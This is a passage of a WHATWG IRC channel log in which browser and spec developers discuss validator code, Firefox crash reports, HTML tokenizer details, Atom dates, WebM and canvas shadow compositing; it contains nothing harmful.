zcorpan: btw, thanks for heads-up about window.console for workers

[23:56:00.0000] <zcorpan>
hmm i imagine <style scoped>@font-face... is going to be a PITA to implement

[23:57:00.0000] <hsivonen>
/me is slighly amused at the appropriateness of XRX also being the stock ticker of Xerox considering that most often when I see Xerox participation at the W3C, it is related to XForms

[00:15:00.0000] <MikeSmith>
hsivonen: about the 0xFEFF check, I cargo-culted that in there based on what was in the existing IriRef.java code

[00:16:00.0000] <MikeSmith>
anyway, I will remove it

[00:17:00.0000] <MikeSmith>
it makes no sense in this context

[00:17:01.0000] <MikeSmith>
though after thinking about it, I now wonder why it's in the IriRef code

[00:17:02.0000] <MikeSmith>
/me reads some spec

[00:18:00.0000] <MikeSmith>
I guess the URL parsing algorithm requires it?]

[00:19:00.0000] <MikeSmith>
oh

[00:19:01.0000] <MikeSmith>
or the IRI spec does

[00:19:02.0000] <MikeSmith>
hmm

[00:19:03.0000] <hsivonen>
I wonder if the IRI spec matches reality there

[00:19:04.0000] <MikeSmith>
or not

[00:19:05.0000] <MikeSmith>
is it actually in the IRI spec/

[00:19:06.0000] <MikeSmith>
?

[00:19:07.0000] <hsivonen>
no idea

[00:20:00.0000] <MikeSmith>
I'm looking at the IRI spec now and I don't see it

[00:21:00.0000] <hsivonen>
time to look at hg blame, I guess

[00:21:01.0000] <MikeSmith>
yeah

[00:24:00.0000] <hsivonen>
I'm failing at using bitbucket's UI

[00:24:01.0000] <MikeSmith>
changeset:   250:7305f61e790d , summary:     IRI changes, parametrize IANA lang tag registry URI

[00:24:02.0000] <hsivonen>
ah. the source tab works

[00:25:00.0000] <hsivonen>
MikeSmith: need to browse back in time from that one

[00:25:01.0000] <MikeSmith>
OK

[00:26:00.0000] <hsivonen>
https://bitbucket.org/validator/syntax/changeset/e1c4c6771cac

[00:26:01.0000] <hsivonen>
that's the right changeset

[00:26:02.0000] <asmodai>
hsivonen: Question, how can I best trace what is causing firefox to crash every single time when I close the program?

[00:27:00.0000] <hsivonen>
so clearly, back then I thought it's correct to swallow a BOM in javascript: URLs

[00:28:00.0000] <hsivonen>
asmodai: If this is on Windows and the crash reporter shows up, submitting the crash to Mozilla and then looking it up by the id shown in about:crashes is a good start

[00:28:01.0000] <hsivonen>
asmodai: or have you already gotten that far?

[00:29:00.0000] <asmodai>
hsivonen: sent in many crash reports, but hadn't thought of looking up the id

[00:29:01.0000] <asmodai>
about:crashes right?

[00:29:02.0000] <asmodai>
ah yes, loading the archive now

[00:30:00.0000] <hsivonen>
MikeSmith: found the reason!

[00:30:01.0000] <MikeSmith>
cool

[00:30:02.0000] <hsivonen>
MikeSmith: http://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-03#section-3.1

[00:30:03.0000] <MikeSmith>
something in the JS spec?

[00:30:04.0000] <MikeSmith>
/me reads

[00:30:05.0000] <MikeSmith>
ah

[00:31:00.0000] <MikeSmith>
the scheme part

[00:31:01.0000] <asmodai>
hsivonen: http://crash-stats.mozilla.com/report/index/2fefc5de-89a4-4bb4-8d18-ee5e92110111

[00:31:02.0000] <hsivonen>
MikeSmith: so looks like you don't need that bit of code for event handlers

[00:31:03.0000] <MikeSmith>
yeah

[00:31:04.0000] <MikeSmith>
thanks for doing the archaeology

[00:32:00.0000] <hsivonen>
MikeSmith: np.

[00:32:01.0000] <hsivonen>
MikeSmith: I have no idea how well Björn's draft reflects reality on this point, BTW

[00:33:00.0000] <MikeSmith>
well he musta had some reason for adding it least

[00:33:01.0000] <hsivonen>
asmodai: that's an interesting stack

[00:33:02.0000] <hsivonen>
asmodai: does it crash without add-ons

[00:33:03.0000] <zcorpan>
hsivonen: http://krijnhoetmer.nl/irc-logs/whatwg/20101224#l-219

[00:34:00.0000] <zcorpan>
/me doesn't know what annevk is referring to there

[00:34:01.0000] <hsivonen>
asmodai: I'm suspecting an add-on that's violating thread-safety rules

[00:34:02.0000] <Hixie>
if anyone wants to help hober and i with http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-129 please feel free

[00:34:03.0000] <asmodai>
hsivonen: Yeah, think I managed that too, but will retry that just to be sure. Number of open tabs shouldn't be an issue should it?

[00:35:00.0000] <hsivonen>
zcorpan: interesting. Thanks.

[00:35:01.0000] <hsivonen>
hmm. annevk is not on IRC!

[00:35:02.0000] <MikeSmith>
heh

[00:35:03.0000] <Hixie>
in particular, we need the rationales filling out for the other bugs (only the first bug has been started so far), and we need to study the other CP's proposed details to see if they're proposing anything other than what those bugs were proposing

[00:35:04.0000] <MikeSmith>
we need a tellbot

[00:35:05.0000] <Hixie>
in the meantime, i must sleep! :-) nn

[00:35:06.0000] <zcorpan>
MikeSmith: he reads teh logs

[00:36:00.0000] <hsivonen>
asmodai: hard to guess if the number of tabs is relevant

[00:39:00.0000] <asmodai>
hsivonen: but in general the number of tabs should not cause instability? :)

[00:39:01.0000] <hsivonen>
asmodai: not in general

[00:40:00.0000] <asmodai>
ok, now to test some

[00:44:00.0000] <hsivonen>
asmodai: I'm failing to see the number of your CPU cores.

[00:45:00.0000] <hsivonen>
/me was pretty sure the crash stat tool was supposed to show the # of cores somewhere

[00:49:00.0000] <asmodai>
should be 2 cores

[00:49:01.0000] <asmodai>
core 2 duo @ 2.8 GHz

[00:49:02.0000] <hsivonen>
asmodai: OK. those extension thread-safety crashes are more common with more than one core

[00:50:00.0000] <asmodai>
hsivonen: so in essence, if I would set firefox to affinity to cpu 0 I would expect most of these crashes to be gone suddenly?

[00:50:01.0000] <hsivonen>
asmodai: anyway, I really have *no* clue about what's causing your crash :-(

[00:50:02.0000] <asmodai>
hehehe

[00:50:03.0000] <hsivonen>
asmodai: possibly

[00:50:04.0000] <asmodai>
I need to check some of the other crash ids, see if they're similar

[00:55:00.0000] <asmodai>
hsivonen: looks like one crash I reported was fixed: http://crash-stats.mozilla.com/report/index/bp-6fad02db-0441-4439-bd17-1dced2110111

[00:55:01.0000] <asmodai>
oh wait, that's from the 4.0beta >_<

[00:56:00.0000] <asmodai>
these are the similar crashes:

[00:56:01.0000] <asmodai>
http://crash-stats.mozilla.com/report/index/26cdfc0e-8017-42ae-b987-0b8e92110111

[00:56:02.0000] <asmodai>
http://crash-stats.mozilla.com/report/index/7dbcbe57-79f6-45a6-bc54-c31712110110

[00:56:03.0000] <asmodai>
http://crash-stats.mozilla.com/report/index/89ddd516-1055-487f-8ba8-f489f2110110

[01:02:00.0000] <MikeSmith>
hsivonen: very quick question: in the code I added for checking values of event-handler attributes, I have it do compileReader(reader, null, -1, null) -- with -1 for the line-number value

[01:03:00.0000] <MikeSmith>
that has the effect of suppressing the "(unnamed script#1)" part that would otherwise be appended to each error message

[01:03:01.0000] <MikeSmith>
which seems not to be of any use in practice in identify the actual location of the error

[01:03:02.0000] <MikeSmith>
OK if I make that same change in the IriRef.java code?

[01:03:03.0000] <hsivonen>
MikeSmith: OK

[01:03:04.0000] <MikeSmith>
thanks

[01:04:00.0000] <hsivonen>
CLASSPATH is still the #1 least pleasant thing about Java

[01:06:00.0000] <MikeSmith>
hsivonen: there's a lot to choose from…

[01:07:00.0000] <hsivonen>
one day Jython respects my CLASSPATH but not today...

[01:08:00.0000] <hsivonen>
worked on Friday...

[01:09:00.0000] <hsivonen>
typos...

[01:31:00.0000] <annevk>
IRC called?

[01:32:00.0000] <annevk>
The problem with the current javascript URL draft is that it does not deal with encoding. Apparently browsers do quite a few different things.

[01:33:00.0000] <hsivonen>
annevk: what about the UTF-8 BOM bit?

[01:34:00.0000] <asmodai>
lol

[01:35:00.0000] <annevk>
hsivonen, not sure

[01:35:01.0000] <annevk>
hsivonen, othermaciej, that ChromeBrowser twitter account is not an official one

[01:36:00.0000] <hsivonen>
annevk: not official as in not run by the PR dept or not official as in not run by people on the Chrome team?

[01:36:01.0000] <paul_irish>
both.

[01:37:00.0000] <hsivonen>
paul_irish: I see

[01:37:01.0000] <annevk>
hsivonen, it says it is not affiliated with Google and does not like to Google announcements but to some other site

[01:37:02.0000] <annevk>
s/like/link/ doh

[01:37:03.0000] <hsivonen>
is there an official twitter account?

[01:37:04.0000] <paul_irish>
there are a few...

[01:38:00.0000] <paul_irish>
@chromiumdev is mananged by humans... the devrel team. it's for web developers... @googlechrome is from marketing.. very end-user-y

[01:39:00.0000] <paul_irish>
and then @chromiumbrowser is just blog.chromium.org and @googlechromedev is just the chrome releases blog

[01:39:01.0000] <annevk>
@chromiumbrowser follows @chromebrowser though

[01:40:00.0000] <hsivonen>
paul_irish: thanks

[01:40:01.0000] <_mthz>
Anyone know why the attribute value double quoted and attribute value unquoted tokenizer states both have U+0000 NULL handling, but the single quoted state does not?

[01:40:02.0000] <hsivonen>
annevk: that's probably how I ended up following @chromebrowser

[01:40:03.0000] <paul_irish>
gross. i'll see if i can fix that, annevk

[01:40:04.0000] <_mthz>
seems like a bug, no?

[01:41:00.0000] <hsivonen>
stuff I learned today: createElement (without NS) in OpenJDK's default DOM impl. creates element nodes with localName set to null

[01:41:01.0000] <hsivonen>
FAIL

[01:41:02.0000] <annevk>
_mthz, sounds like it...

[01:42:00.0000] <annevk>
_mthz, unquoted is handled though

[01:42:01.0000] <_mthz>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=11262

[01:42:02.0000] <annevk>
_mthz, in complete section 12.2.4.40 handles U+0000

[01:42:03.0000] <_mthz>
yeah, double and unquoted handle U+0000, but single quoted doesn't. Hixie responded there with "oops", so sounds like it's a bug =)

[01:43:00.0000] <_mthz>
what's that refer to?

[01:43:01.0000] <annevk>
/me misread

[01:43:02.0000] <annevk>
that was http://whatwg.org/C#attribute-value-(unquoted)-state

[01:44:00.0000] <_mthz>
Right, but this doesn't: http://www.whatwg.org/specs/web-apps/current-work/complete/tokenization.html#attribute-value-%28single-quoted%29-state

[01:46:00.0000] <annevk>
yeah I know now :)

[01:46:01.0000] <_mthz>
gotcha =)

[01:47:00.0000] <MikeSmith>
kennyluck: https://bugs.webkit.org/show_bug.cgi?id=52359

[01:59:00.0000] <hsivonen>
annevk: what was the element I should use instead of atom:updated when my system can't distinguish between meaningful updates and typo edits?

[02:00:00.0000] <hsivonen>
annevk: AFAICT, updated and published are the only two date elements that Atom has

[02:01:00.0000] <hsivonen>
and published would be even less appropriate for me

[02:03:00.0000] <annevk>
hsivonen, atom:updated I think

[02:03:01.0000] <hsivonen>
annevk: ah, ok. I thought you said earlier that I should have used something else

[02:04:00.0000] <annevk>
hmm, atom:modified?

[02:04:01.0000] <hsivonen>
annevk: doesn't exist in the spec

[02:04:02.0000] <annevk>
I guess that was an older thing then

[02:05:00.0000] <annevk>
atom:created existed as well at one point

[02:05:01.0000] <annevk>
ooh, hmm, http://tools.ietf.org/html/rfc4287#section-4.2.15

[02:05:02.0000] <annevk>
it seems you should not change atom:updated unless it was significant

[02:06:00.0000] <annevk>
I think I store published/updated/modified therefore in my blog software, but I'm not sure why

[02:06:01.0000] <hsivonen>
annevk: well, I use the file system modification date

[02:06:02.0000] <annevk>
well, it would be interesting, if I actually stored the changes

[02:06:03.0000] <hsivonen>
annevk: my system doesn't store anything else

[02:07:00.0000] <hsivonen>
annevk: and my manually-maintained human-readable update dates have precision only to the day

[02:07:01.0000] <annevk>
isn't that gonna fail if you need to change something about the files? or move them somewhere else?

[02:07:02.0000] <annevk>
seems kind of tricky

[02:07:03.0000] <annevk>
but also neat, in a way

[02:08:00.0000] <hsivonen>
annevk: yeah, in 2005 I lost all modification dates on my site

[02:08:01.0000] <hsivonen>
I'm still mildly bitter about that incident

[02:09:00.0000] <hsivonen>
hmm. so did we indeed end up defining Atom dates by reference to XSD? FAIL.

[02:10:00.0000] <hsivonen>
hmm. no

[02:10:01.0000] <hsivonen>
so Atom wants to have time in addition to date

[02:10:02.0000] <annevk>
oh yeah, there was that whole scheme discussion and whether it should be another RDF vocabulary

[02:10:03.0000] <annevk>
oh god

[02:11:00.0000] <hsivonen>
I guess I could fake the time

[02:11:01.0000] <annevk>
such a mess

[02:11:02.0000] <hsivonen>
bah. I'm just going to stick this into cron and let it run for another 5 years

[02:11:03.0000] <annevk>
it actually demands time?

[02:11:04.0000] <hsivonen>
annevk: year

[02:12:00.0000] <hsivonen>
annevk: must match date-time production in RFC 3339

[02:12:01.0000] <hsivonen>
s/year/yeah/

[02:12:02.0000] <annevk>
silly

[02:13:00.0000] <annevk>
I have actually been wondering about removing precision from the datetime fields in my database

[02:17:00.0000] <annevk>
hsivonen, link to the Media Foundation decoder?

[02:19:00.0000] <hsivonen>
annevk: http://code.google.com/p/webm/issues/detail?id=201

[02:24:00.0000] <annevk>
''The Catholic Church shut down Galileo for a hundred years. I think we can shut down Julian Assange.'' o_O

[02:24:01.0000] <annevk>
via @wikileaks

[02:27:00.0000] <jgraham>
Erm, well the first sentence is untrue, at least

[02:30:00.0000] <annevk>
and Gruber flamed WebM some more

[02:30:01.0000] <annevk>
wtf

[02:31:00.0000] <hsivonen>
annevk: where?

[02:32:00.0000] <annevk>
blog last night I guess

[02:32:01.0000] <annevk>
oh, and on twitter

[02:34:00.0000] <hsivonen>
I wonder if Gruber still remembers RealVideo.

[02:34:01.0000] <Rik`>
btw, is my calculation ok? https://twitter.com/rik24d/status/25469886570438656

[02:37:00.0000] <annevk>
Rik`, I think it was something in that order, yes

[02:38:00.0000] <annevk>
at least, last I heard

[03:29:00.0000] <gsnedders>
Apparently (this is coming via others) no browser fires storage events on the Document that did the mutation of localStorage.

[03:32:00.0000] <gsnedders>
e.g., http://software.hixie.ch/utilities/js/live-dom-viewer/saved/777

[03:45:00.0000] <Evet>
jsonp is good only for public data, right?

[03:46:00.0000] <hsivonen>
Evet: correct

[03:47:00.0000] <hsivonen>
(well, maybe the Sec-Origin header is going to change that)

[03:49:00.0000] <Evet>
so, iframe is the only solution to put user's private data into cross-domain widgets?

[03:50:00.0000] <hsivonen>
Evet: it's a safe way at least

[03:51:00.0000] <gsnedders>
Apparently IE9 fires on the doucment doing the mutation of the localStorage object

[03:51:01.0000] <hsivonen>
so how does one browse Maven repositiories using a Web browser?

[03:53:00.0000] <hsivonen>
http://www.mvnbrowser.com/index.html maybe?

[03:54:00.0000] <Evet>
hsivonen: is it really impossible to steal the content of an iframe?

[03:56:00.0000] <hsivonen>
Evet: if you find a way to steal the content of a different-origin iframe, you should file browser security bugs

[03:58:00.0000] <Evet>
sure

[04:04:00.0000] <annevk>
I wish the other public-html-xml participants were a bit more pro-active with simply experimenting how an HTML5 parser works

[04:04:01.0000] <annevk>
it's not like it's rocket science

[04:08:00.0000] <Ms2ger>
The HTML5 parser? It certainly looks like rocket science :)

[04:09:00.0000] <annevk>
Maybe I should start building rockets then

[04:17:00.0000] <Philip`>
Rocket science usually suffers from draconian error handling

[04:30:00.0000] <Evet>
hsivonen: should i render private content as image file from my server?

[04:32:00.0000] <hsivonen>
Evet: That's an inaccessible solution if the alternative is serving text in an iframe

[04:32:01.0000] <hsivonen>
Evet: so no

[04:33:00.0000] <hsivonen>
Evet: unless the private data is visual to begin with

[04:55:00.0000] <david_carlisle>
annevk: yes:-) (also I'm still confused by the split between people who are and are not on the TF)

[04:56:00.0000] <david_carlisle>
Although perhaps they have experimented but don't believe their results at just how weird it is?

[04:56:01.0000] <annevk>
I know someone who makes his own firework. Maybe I can ask him for advice :)

[04:57:00.0000] <annevk>
Oh wait, you meant the other thing...

[04:59:00.0000] <david_carlisle>
hsivonen: I think John's comments re having to quote xml in script were for the x(ht)ml serialisation

[05:00:00.0000] <hsivonen>
david_carlisle: oh. well, <script> and <style> are both normal in XML

[05:00:01.0000] <annevk>
can you say "Only non-commercial use is waived." ?

[05:01:00.0000] <hsivonen>
annevk: probably not. what does it mean to waive use?

[05:01:01.0000] <david_carlisle>
hsivonen: yes  (at least I think that's what he meant)

[05:01:02.0000] <hsivonen>
annevk: you can waive an obligation

[05:02:00.0000] <annevk>
ah

[05:02:01.0000] <annevk>
"Only for non-commercial use the fee is waived." ?

[05:02:02.0000] <hsivonen>
annevk: in case you are writing about H.264, that's not exactly right.

[05:03:00.0000] <hsivonen>
annevk: in case you are writing about something else, the sentence makes sense.

[05:07:00.0000] <hsivonen>
annevk: actually, the sentence is semi-Yoda-ish like that

[05:09:00.0000] <annevk>
Yoda!

[05:09:01.0000] <annevk>
I rewrote it altogether, thanks

[05:10:00.0000] <hsivonen>
Lachy: blog.whatwg.org needs a WordPress update.

[05:11:00.0000] <Lachy>
hsivonen, ok

[05:13:00.0000] <Lachy>
huh, that's weird. I thought I did that update a couple of weeks ago.

[05:13:01.0000] <Lachy>
But looks like I only updated my own blog and forgot whatwg blog.

[05:16:00.0000] <hsivonen>
a new post on the WHATWG blog!111!11

[05:17:00.0000] <hsivonen>
http://blog.whatwg.org/vnu-parser-1_3

[05:17:01.0000] <Lachy>
hsivonen, you have admint rights on the blog, don't you?

[05:18:00.0000] <Lachy>
feel free to just click that update button to do it automatically next time you see it. It doesn't take any effort

[05:20:00.0000] <hsivonen>
Lachy: I figured that if I trigger the update and it breaks, I have no way to fix it.

[05:20:01.0000] <hsivonen>
Lachy: but ok.

[05:21:00.0000] <hsivonen>
Lachy: thanks

[05:22:00.0000] <annevk>
should I tweet on the WHATWG account?

[05:22:01.0000] <annevk>
or maybe retweet something?

[05:23:00.0000] <Lachy>
if anything breaks, then just ping me.

[05:23:01.0000] <Lachy>
annevk, no reason not to tweet on the whatwg account

[05:23:02.0000] <annevk>
I had a plan to integrate a twitterbot in the blog but not done yet

[05:23:03.0000] <annevk>
Lachy, yeah, just wondering if hsivonen already had a tweet on his personal account that I could then retweet from there

[05:23:04.0000] <annevk>
no need for duplicates :)

[05:24:00.0000] <Lachy>
oh

[05:27:00.0000] <hsivonen>
annevk: feel free to tweet (or retweet my tweet)

[05:31:00.0000] <annevk>
made a new one as yours does not link to blog.whatwg.org

[05:32:00.0000] <hsivonen>
annevk: ok

[05:33:00.0000] <matjas>
hsivonen: so the online version at http://html5.validator.nu/ is updated as well?

[05:34:00.0000] <hsivonen>
matjas: yes

[05:34:01.0000] <matjas>
it still errors for documents without a <title>, shouldn’t that be a warning?

[05:34:02.0000] <hsivonen>
matjas: that's not a parser thing

[05:35:00.0000] <hsivonen>
matjas: I'm not sure what the spec says about <title> today

[05:36:00.0000] <matjas>
http://i.imgur.com/MWDO5.png looks a bit contradictory

[05:38:00.0000] <hsivonen>
matjas: is your doc in srcdoc or wrapped in an email?

[05:39:00.0000] <matjas>
no way for the validator to know

[05:39:01.0000] <matjas>
it says “error” but then it goes on to say that there is in fact a case where it could be valid

[05:39:02.0000] <annevk>
well srcdoc it knows

[05:40:00.0000] <annevk>
because it would have to be in srcdoc :)

[05:40:01.0000] <matjas>
yah

[05:40:02.0000] <annevk>
and if it's over HTTP it knows too

[05:40:03.0000] <matjas>
well let’s assume it’s an email :)

[05:40:04.0000] <annevk>
maybe for local file upload it could give a slightly different indictor

[05:40:05.0000] <matjas>
<!DOCTYPE html><p>foo

[05:40:06.0000] <matjas>
i just used text input

[05:41:00.0000] <Ms2ger>
I think it's more useful to assume it's not an email

[05:41:01.0000] <annevk>
yeah

[05:41:02.0000] <matjas>
I agree; just saying that the error message is slightly confusing

[05:45:00.0000] <matjas>
(IMHO)

[05:45:01.0000] <zcorpan>
hmm, afaict when the document is a srcdoc document or an email, the spec allows multiple <title>s

[05:46:00.0000] <zcorpan>
oh, "There must be no more than one title element per document."

[05:47:00.0000] <Ms2ger>
Does Opera really support document.createElement("image")?

[05:47:01.0000] <zcorpan>
yep

[05:48:00.0000] <Ms2ger>
Why?

[05:48:01.0000] <zcorpan>
because image->img magic was implemented in a different layer than what the html5 spec says

[05:48:02.0000] <annevk>
also "supported" in XHTML

[06:35:00.0000] <annevk>
anyone care to quickly scan a blog post on h264 before I throw it online?

[06:55:00.0000] <zcorpan>
annevk: sure (not that i'm a specialist on h264 but anyway)

[06:56:00.0000] <annevk>
pm'd you a link

[07:03:00.0000] <Rik`>
annevk: I can if you still need it

[07:04:00.0000] <annevk>
please

[07:10:00.0000] <annevk>
http://www.flickr.com/photos/24374884@N08/5351656030/

[07:10:01.0000] <annevk>
gotta love brucel

[07:32:00.0000] <foolip>
annevk, hit me with some blog post drafts!

[07:58:00.0000] <annevk>
done

[08:19:00.0000] <cszabo1>
Philip`: ping

[08:19:01.0000] <Philip`>
cszabo1: pong

[08:19:02.0000] <annevk>
also published now

[08:19:03.0000] <annevk>
http://annevankesteren.nl/2011/01/why-webm

[08:20:00.0000] <annevk>
first post this year, yay

[08:20:01.0000] <cszabo1>
Philip`: Did you have any time to consider my test proposal and the language change for the canvas drawing model? (The one related to shadow rendering.)

[08:23:00.0000] <Philip`>
cszabo1: I haven't looked at it since we last discussed it

[08:26:00.0000] <cszabo1>
Philip`, given that I do not thing the spec will change in a major way since most browsers support it in its current form, I would like to start to bring WebKit in compliance. This shadow issue though, I think it should be still fixed despite the fact that no browser does it correctly now. What do you think?

[08:27:00.0000] <cszabo1>
thing=think.

[08:35:00.0000] <Philip`>
cszabo1: Do you have a link to your spec proposal?

[08:36:00.0000] <cszabo1>
Philip`, It's in the mailing list archive here: http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2011-January/029658.html

[08:38:00.0000] <cszabo1>
Philip`,  I also have an example test that checks for what I think is correct behavior here: http://waplabdc.nokia-boston.com/browser/users/caszabo/shadow/index.htm

[08:43:00.0000] <Hixie>
hsivonen: so has public-html-xml worked out what problem it's trying to solve yet?

[08:44:00.0000] <Philip`>
http://canvex.lazyilluminati.com/misc/shadow/shadow2.html shows the current browser's shadow compositing behaviour in the first column, and the current spec in the second

[08:44:01.0000] <Philip`>
(Ignore the third column, it's not interesting)

[08:44:02.0000] <Philip`>
http://canvex.lazyilluminati.com/misc/shadow/shadow2c.html shows it with the suggested change to the spec in column two, I think

[08:45:00.0000] <Philip`>
See e.g. the second line of images, where a solid red shape is drawn with globalAlpha=0.5

[08:46:00.0000] <Philip`>
With the current spec the shadow is visible behind the shape; the suggested change it's only visible outside the shape, because the shape and shadow get composited together before any globalAlpha is applied

[08:46:01.0000] <Ms2ger>
Hixie, I'm assuming "HTML"

[08:46:02.0000] <Philip`>
(This is all with the default source-over)

[08:47:00.0000] <Philip`>
Is that expected/unexpected good/bad behaviour?

[08:48:00.0000] <cszabo1>
Philip`, For source over my change proposal has no effect. The behavior should not change.

[08:49:00.0000] <cszabo1>
Philip`, My change is important for cases like copy, composite operation which will never show a shadow based on how the spec is currently worded.

[08:49:01.0000] <Philip`>
cszabo1: My interpretation is that it does affect source-over

[08:51:00.0000] <Philip`>
With the change the output is '(shape over shadow)*globalAlpha over canvas', instead of 'shape*globalAlpha over (shadow*globalAlpha over canvas)', so it's different, I think

[08:53:00.0000] <Hixie>
Ms2ger: from the list, it looks like the problem is "we don't understand the web", but i'm assuming that's not the actual problem

[08:53:01.0000] <Hixie>
Ms2ger: they said last month their first order of business was to state their problem

[08:53:02.0000] <Hixie>
Ms2ger: and they've had a month, so presumably they've done their first order of business

[08:54:00.0000] <Ms2ger>
Well, I thought WebSockets would be finished by now, too :)

[08:54:01.0000] <Hixie>
it basically was, before the ietf got involved

[08:55:00.0000] <Ms2ger>
/me likes hsivonen's reply about XForms

[08:55:01.0000] <cszabo1>
Philip`, It may be different in that some of the shadow may show under the shape, where as previously the previous content would. I think this is non-essential. I like the global alpha being applied to shape + shadow as a unit, but if this is not OK then probably my other idea that an exclusion like operator such as copy or source-in should not delete the shadow is not OK either.

[08:57:00.0000] <Philip`>
cszabo1: It's different in that the shadow *won't* show under solidly-coloured parts of the shape, regardless of globalAlpha, whereas previously it would if globalAlpha < 1, with source-over

[08:58:00.0000] <cszabo1>
Philip`, I tried to say the same thing.

[09:00:00.0000] <Philip`>
I don't know if it's necessarily problematic, but it's a visible change in more cases than just the rare copy+shadows case, so I guess we'd need to be more careful about incompatibilities

[09:00:01.0000] <Hixie>
Ms2ger: man, he didn't beat around the bush, huh

[09:00:02.0000] <cszabo1>
Philip`, Thinking about it, the debate comes down to as whether one thinks of the object and its shadow being one thing rendered in abstract and then composited in the scene or as two separate object individually rendered and composited.

[09:00:03.0000] <Hixie>
that's a better answer than any i could have given

[09:06:00.0000] <Philip`>
cszabo1: I don't have any particular opinion on what behaviour makes logical sense - I think the current spec is just based on reverse-engineering Safari several years ago, and mostly I care about there being interoperability, so the question is whether there are practical benefits that are worth the cost of getting ~5 implementors to agree and implement something different

[09:06:01.0000] <cszabo1>
Philip`, I am more of an engineer then a manager. I would like things to make sense. I feel that considering the object and its shadow as one (since they are rendered via one primitive) is what makes more sense. It is in line with the fact that a complex path, it is all rendered as one (regardless of the number of subpaths it is made of).

[09:07:00.0000] <Philip`>
Keep this channel's /topic in mind :-)

[09:08:00.0000] <cszabo1>
Philip`, Sorry, I forgot the thing about logic sorry.

[09:08:01.0000] <cszabo1>
I have to leave urgently. Sorry.

[09:14:00.0000] <annevk>
giving the Web Socket protocol to the IETF did not really turn out that well

[09:15:00.0000] <annevk>
although there are some people that seem to think it is for the better

[09:23:00.0000] <MikeSmith>
hsivonen: to use the JS version of the validator.nu HTML parser outside of the context of the http://livedom.validator.nu/ Web UI, is there an entry point I can use?

[09:45:00.0000] <rubys>
annevk: ping?

[09:48:00.0000] <annevk>
hey rubys

[09:48:01.0000] <rubys>
I've started to port xml5 to js...

[09:48:02.0000] <annevk>
:)

[09:48:03.0000] <rubys>
the bulk of the code is in the tokenizer, to which I made two sets of changes to the python version

[09:48:04.0000] <TabAtkins>
Heh, cool.

[09:48:05.0000] <rubys>
https://github.com/rubys/xml5/commit/9cc282495f76f92ba7a13ea34323d12399662b75

[09:49:00.0000] <rubys>
the first is not substantive: since the code is so consistently formatted, i wrote a script to do the conversion.

[09:49:01.0000] <rubys>
there were a few minor cases where the indentation and continuations were not consistent, so I changed the input

[09:49:02.0000] <rubys>
(I use the continuation character to *not* emit a semi-colon, for example)

[09:49:03.0000] <annevk>
I see

[09:50:00.0000] <rubys>
the second is kinda substantive:

[09:50:01.0000] <rubys>
https://github.com/rubys/xml5/commit/67bf795953aee748fa140d53dd47e35226360e3b

[09:50:02.0000] <rubys>
the tokenizer was emitting one character at a time.  html5 doesn't do it this way, and fixing this doesn't break the test cases.

[09:51:00.0000] <annevk>
I wonder if I have enough tests, but it looks fine

[09:51:01.0000] <rubys>
feel free to write more tests :-)

[09:51:02.0000] <annevk>
do you want access to code.google.com/p/xml5 ?

[09:52:00.0000] <rubys>
that would be cool... I would like to keep the versions in sync.

[09:53:00.0000] <annevk>
added you as committer

[09:53:01.0000] <rubys>
thanks!

[09:54:00.0000] <hober>
rubys: html5's tokenizer *does* emit one character at a time

[09:54:01.0000] <hober>
in the spec

[09:55:00.0000] <annevk>
I think he meant html5lib

[09:55:01.0000] <hober>
ahh, fair enough then.

[10:00:00.0000] <rubys>
any reason for the spec to emit one character at a time?

[10:00:01.0000] <Philip`>
Simplicity

[10:02:00.0000] <rubys>
oooo....kkkk..   In a spec that big, I don't think that difference takes it from "hugely complex and unintelligible" to "elegant simplicity", but... whatever :-)

[10:04:00.0000] <Philip`>
I'm not saying it does, I'm just saying it's simpler for the spec to deal with individual characters instead of trying to lump them together as a performance optimisation

[10:06:00.0000] <Philip`>
and describing performance optimisations is not a goal of the spec

[10:07:00.0000] <rubys>
Independent of performance, my mental model of what a 'token' is and html5's aren't in sync.

[10:07:01.0000] <rubys>
<averylongname value=averylongvalue>some text</averylongname>

[10:08:00.0000] <rubys>
3 tokens?  11 tokens?

[10:10:00.0000] <Ms2ger>
A score

[10:11:00.0000] <Philip`>
If it was 3 then you couldn't incrementally render a long text node without violating the spec (because the spec wouldn't let you put half a text token into a text node in the DOM)

[10:12:00.0000] <Philip`>
unless the spec explicitly said you're allowed to split text tokens at certain points

[10:12:01.0000] <Philip`>
which would just be more complexity

[10:13:00.0000] <rubys>
can't that argument be played back in the other direction: if the number of tokens is a hard requirement, then performance optimizations are disallowed?

[10:13:01.0000] <annevk>
11 tokens per HTML5, 2 nodes

[10:13:02.0000] <annevk>
1 element

[10:14:00.0000] <TabAtkins>
Tokens aren't visible to the user, right?  You can optimize those away as you wish.

[10:14:01.0000] <annevk>
rubys, only if you can observe the difference

[10:14:02.0000] <Philip`>
The number of tokens is not observable

[10:15:00.0000] <rubys>
Philip`: exactly.  So your most recent argument is not relevant.

[10:15:01.0000] <Ms2ger>
s/your most recent/this/

[10:16:00.0000] <rubys>
Interestingly enough (and a natural fallout of the design of node.js) is that with this change, the token will be split on network packet boundaries.

[10:16:01.0000] <Philip`>
You can run a script in a timer that looks at a half-parsed DOM, and if that script observes a DOM that cannot possibly be produced by a precise implementation of the spec (e.g. because it contains half a token which the spec says is indivisible) then the browser is non-conforming

[10:17:00.0000] <Philip`>
If the spec says to use individual characters, and the browser happens to batch them into packet-sized tokens, then the observed DOM will still always be one that could be produced by the spec

[10:18:00.0000] <Philip`>
(There will be some DOMs that the spec could produce which you'll never observe due to the batching, but that doesn't matter)

[10:20:00.0000] <cszabo1>
Philip`, Hi I'm back. I understand your concern about changing the behavior of source-over in my proposed change, but what do you think? Would you like the spec changed in the way I propose or not?

[10:23:00.0000] <Philip`>
cszabo1: I think your suggestion makes sense, but I don't personally care much about it making sense :-)

[10:24:00.0000] <cszabo1>
Philip`, As I view it that's progress for me, what do you care about? Or do you care about anything related to this aspect of the spec?

[10:25:00.0000] <dglazkov>
annevk++

[10:27:00.0000] <Philip`>
cszabo1: Mostly I just want interoperability between browsers (else nobody will be able to use the feature at all, and it won't matter if half the browsers implement a better version of it)

[10:30:00.0000] <cszabo1>
A worthy goal. I admit. The question is how do you bring browsers together? I think that making things easy to implement on many platforms is one of the important factors.

[10:33:00.0000] <Philip`>
cszabo1: By some combination of writing things in the spec and expecting browsers to implement it, and updating the spec to match what browsers want to implement

[10:37:00.0000] <Philip`>
